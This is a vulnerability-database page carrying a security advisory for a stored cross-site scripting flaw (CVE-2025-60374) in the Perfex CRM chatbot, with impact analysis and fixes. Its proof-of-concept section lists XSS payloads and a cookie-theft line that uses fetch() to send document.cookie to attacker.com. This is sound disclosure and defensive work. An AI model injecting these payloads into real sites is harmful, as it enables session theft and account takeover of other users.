Lucene search
K

📄 Perfex CRM Chatbot Cross Site Scripting

🗓️ 10 Oct 2025 00:00:00Reported by Ajansha ShankarType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 196 Views

Stored cross-site scripting in Perfex CRM chatbot allows HTML and JavaScript to run in browsers.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-60374
10 Oct 202516:45
githubexploit
Circl
CVE-2025-60374
10 Oct 202514:45
circl
CNNVD
Perfex CRM 安全漏洞
12 Oct 202500:00
cnnvd
CVE
CVE-2025-60374
14 Oct 202500:00
cve
Cvelist
CVE-2025-60374
14 Oct 202500:00
cvelist
EUVD
EUVD-2025-34466
14 Oct 202521:30
euvd
NVD
CVE-2025-60374
14 Oct 202520:15
nvd
Positive Technologies
PT-2025-42183
14 Oct 202500:00
ptsecurity
RedhatCVE
CVE-2025-60374
15 Oct 202500:51
redhatcve
Vulnrichment
CVE-2025-60374
14 Oct 202500:00
vulnrichment
Rows per page
# CVE-2025-60374
    CVE-2025-60374: Stored Cross-Site Scripting (XSS) in Perfex CRM Chatbot
    
    > **⚠️ Security Advisory**  
    > A critical Stored Cross-Site Scripting vulnerability in Perfex CRM's chatbot feature
    
    [![CVE](https://img.shields.io/badge/CVE-2025--60374-red)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-60374)
    [![Severity](https://img.shields.io/badge/Severity-High-orange)]()
    [![CWE](https://img.shields.io/badge/CWE-79-blue)](https://cwe.mitre.org/data/definitions/79.html)
    
    ---
    
    ## 📋 Overview
    
    A Stored Cross-Site Scripting (XSS) vulnerability has been discovered in Perfex CRM's chatbot feature. This vulnerability allows attackers to inject malicious HTML and JavaScript code that gets stored on the server and executed in victims' browsers when they view chat messages.
    
    ## 🎯 Affected Versions
    
    - **Product:** Perfex CRM
    - **Vendor:** Perfex CRM
    - **Vulnerable Versions:** < 3.3.1
    - **Fixed Version:** 3.3.1+
    
    ## 🔍 Vulnerability Details
    
    | Attribute | Value |
    |-----------|-------|
    | **CVE ID** | CVE-2025-60374 |
    | **Type** | Stored Cross-Site Scripting (XSS) |
    | **CWE** | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) |
    | **Attack Vector** | Network/Remote |
    | **Authentication** | Required (Low Privilege) |
    | **User Interaction** | None to Minimal |
    | **Discoverer** | Ajansha Shankar |
    
    ### Description
    
    The chatbot's message parameter in Perfex CRM lacks proper input sanitization and output encoding. When users submit messages through the chatbot interface, malicious HTML/JavaScript payloads are stored in the database without adequate filtering and subsequently rendered without proper escaping, leading to code execution in other users' browsers.
    
    ### Root Cause
    
    - ❌ Insufficient input validation on chatbot message parameter
    - ❌ Missing output encoding when rendering stored messages
    - ❌ Session cookies not marked as `HttpOnly`
    - ❌ Lack of Content Security Policy (CSP)
    
    ## 💥 Impact
    
    ### Security Implications
    
    - **🔓 Session Hijacking:** Attackers can steal session tokens via `document.cookie` access
    - **👤 Account Takeover:** Complete compromise of victim accounts
    - **🎭 Privilege Escalation:** Administrator account compromise if admin views malicious message
    - **📊 Data Exfiltration:** Access to sensitive information in user's browser context
    - **🎪 Phishing:** Ability to modify page content and redirect users
    
    ### CIA Triad Assessment
    
    | Factor | Impact | Explanation |
    |--------|--------|-------------|
    | **Confidentiality** | 🔴 HIGH | Session tokens and sensitive data can be stolen |
    | **Integrity** | 🔴 HIGH | Unauthorized actions can be performed as the victim |
    | **Availability** | 🟡 LOW | Limited impact on system availability |
    
    ## 🧪 Proof of Concept
    
    ### PoC 1: Basic Image XSS
    ```html
    <img src=x onerror=alert('XSS executed!')>
    ```
    
    ### PoC 2: Interactive Button XSS
    ```html
    <button onclick=alert('Click executed!')>Click here</button>
    ```
    
    ### PoC 3: Auto-playing Embedded Content
    ```html
    <iframe width="560" height="315" 
    src="https://www.youtube.com/embed/6B2jvf81LxE?playlist=Gvq4d460C1M&autoplay=1" 
    frameborder="0" allow="accelerometer; autoplay; clipboard-write; 
    encrypted-media; gyroscope; picture-in-picture" allowfullscreen>
    </iframe>
    ```
    
    ### PoC 4: Event-based XSS
    ```html
    <meter value=2 min=0 max=10 onmouseover=alert('XSS triggered!')>
    2 out of 10
    </meter>
    ```
    
    ### Real-World Attack Scenario
    
    **Cookie Theft Example:**
    ```javascript
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    ```
    
    This payload would send the victim's session cookie to an attacker-controlled server, enabling complete account takeover.
    
    ## 🛡️ Mitigation
    
    ### For End Users
    
    1. **✅ Upgrade Immediately:** Update to Perfex CRM v3.3.1 or later
    2. **🔍 Audit Messages:** Review chatbot history for suspicious HTML/JavaScript content
    3. **🔄 Reset Sessions:** Force all users to re-authenticate after patching
    4. **📝 Monitor Logs:** Check for unusual chatbot activity
    
    ### For Developers
    
    #### Immediate Fixes
    ```php
    // Input Sanitization Example
    $message = htmlspecialchars($input_message, ENT_QUOTES, 'UTF-8');
    
    // Output Encoding Example
    echo htmlspecialchars($stored_message, ENT_QUOTES, 'UTF-8');
    ```
    
    #### Long-term Security Improvements
    
    1. **Content Security Policy (CSP)**
    ```http
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    ```
    
    2. **HttpOnly Cookies**
    ```php
    setcookie('session', $value, [
        'httponly' => true,
        'secure' => true,
        'samesite' => 'Strict'
    ]);
    ```
    
    3. **Input Validation Library**
    ```php
    // Use DOMPurify, HTML Purifier, or similar
    $clean_html = $purifier->purify($dirty_html);
    ```
    
    ## 📚 References
    
    - [CWE-79: Cross-site Scripting (XSS)](https://cwe.mitre.org/data/definitions/79.html)
    - [OWASP XSS Prevention Cheat Sheet](https://owasp.org/www-community/attacks/xss/)
    - [CVE-2025-60374 Official Entry](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-60374)
    
    
    ## 👤 Credits
    
    **Discovered by:** Ajansha Shankar
    
    ## 📧 Contact
    
    For questions or additional information:
    - **LinkedIn:** https://www.linkedin.com/in/ajansha-shankar/

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Oct 2025 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.16.1
EPSS0.00318
SSVC
196